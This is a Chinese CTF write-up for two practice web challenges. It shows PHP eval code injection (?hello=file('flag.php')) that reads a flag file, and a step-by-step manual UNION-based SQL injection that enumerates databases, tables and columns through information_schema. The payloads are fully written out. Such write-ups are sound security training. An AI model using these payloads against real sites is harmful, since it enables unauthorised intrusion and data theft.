本地包含
在网页中新建标签页打开链接后出现以下一些PHP代码,
include “flag.php” 包含flag。。。
下面解析这段代码:
r e q u e s t 这 个 变 量 和 _request这个变量和 request这个变量和_GET、$_POST一样,都属于超级全局变量,运行时修改后者不会影响前者,修改后者不会影响前者。在这里可以以get/post/cookies等方式把以hello为名的东西提交过来
eval函数是将字符串当命令直接执行
最后一句show_source() 函数对文件进行语法高亮显示。
通过构造名字为hello的攻击命令,把flag.php里面的代码以数组形式输出出来。
通过在url里构造攻击命令:?hello=file(“flag.php”)
在这里file()函数的作用是读取文件,然后以数组的形式返回
最后得到如下代码块
array(5) { [0]=> string(7) " string(34) " $flag = 'Too Young Too Simple'; " [2]=> string(16) " # echo $flag; " [3]=> string(25) " # flag{bug-ctf-gg-99}; " [4]=> string(2) "?>" } <?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
flag{bug-ctf-gg-99}
成绩单
Ctrl+u 查看源代码,
name=id,且为post传参。
输入数据发现只有当1.2.3时有效,
用hackbar在id后面加英文的单引号,发现报错
在单引号后面加注释符号又恢复正常,
证明确实是SQL注入,下面进行手工注入
先查字段,刚才已经知道有三个数据,直接从4开始,order by 4#,发现返回正常,改为5之后,没有回显,说明有四个字段,
爆库名,id=-1’ union select 1,2,3,4
把id变为-1是因为如果id有回显的话,我们查询的东西就不能显示了,所以要换一个id没有东西的数值
知道他们出现的位置,接下来才是真的暴库,
id=-1’ union select 1,database(),user(),version()#
得到数据库名skctf_flag
然后暴表名(固定格式)
id=-1’ union select 1,group_concat(table_name),user(),version() from information_schema.tables where table_schema=database()#
得到两个表名fl4g,sc
接下来就是暴列名了
id=-1’ union select 1,group_concat(column_name),user(),version() from information_schema.columns where table_name=‘fl4g’#
取得列名为skctf_flag
最后查询数据
id=-1’ union select 1,skctf_flag,user(),version() from fl4g#
得到FLAG BUGKU{Sql_INJECT0N_4813drd8hz4}
注释:
MySql在5.0版本后新增一个叫information_schema的虚拟数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。利用这个,我们可以获取表名,列名等
查询中用到的group_concat()函数是要把查询的内容联合到一起方便查看的,这样就不需要limit 0,1一个一个判断了